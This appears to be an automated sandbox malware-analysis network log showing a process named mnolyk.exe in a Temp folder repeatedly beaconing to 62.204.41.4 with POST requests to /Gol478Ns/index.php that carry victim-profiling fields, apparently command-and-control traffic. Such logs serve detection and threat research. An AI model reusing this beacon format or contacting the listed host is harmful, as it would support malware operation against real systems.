Feb 7, 2023 23:09:47.859386921 CET	732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
618	192.168.2.7	50313	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:48.033864975 CET	733	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:48.097645998 CET	733	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
619	192.168.2.7	50314	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:48.299453974 CET	734	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:48.361939907 CET	734	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	49757	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:16.570116043 CET	177	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:16.632927895 CET	177	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
620	192.168.2.7	50315	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:48.543329954 CET	735	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:48.608316898 CET	735	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
621	192.168.2.7	50316	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:48.784877062 CET	736	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:48.847752094 CET	736	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
622	192.168.2.7	50317	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:49.028783083 CET	737	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:49.092154026 CET	737	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
623	192.168.2.7	50318	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:49.262876034 CET	738	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:49.325089931 CET	738	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
624	192.168.2.7	50319	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:49.495651960 CET	739	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:49.557312012 CET	739	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
625	192.168.2.7	50320	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:49.746311903 CET	740	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:49.811568022 CET	740	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
626	192.168.2.7	50321	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:50.021531105 CET	741	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:50.086796999 CET	741	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
627	192.168.2.7	50322	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:50.288219929 CET	742	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:50.352765083 CET	742	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
628	192.168.2.7	50323	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:50.536075115 CET	743	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:50.598954916 CET	743	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
629	192.168.2.7	50324	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:50.786571026 CET	744	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:50.849370003 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	49758	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:16.813664913 CET	178	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:16.878535032 CET	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
630	192.168.2.7	50325	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:51.040293932 CET	745	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:51.107878923 CET	745	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
631	192.168.2.7	50326	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:51.276591063 CET	746	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:51.341442108 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
632	192.168.2.7	50327	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:51.514148951 CET	747	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:51.579749107 CET	747	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
633	192.168.2.7	50328	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:51.766212940 CET	748	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:51.831080914 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
634	192.168.2.7	50329	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:52.020232916 CET	749	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:52.084115028 CET	749	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
635	192.168.2.7	50330	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:52.266544104 CET	750	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:52.330137968 CET	750	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
636	192.168.2.7	50331	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:52.497858047 CET	751	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:52.560650110 CET	751	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
637	192.168.2.7	50332	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
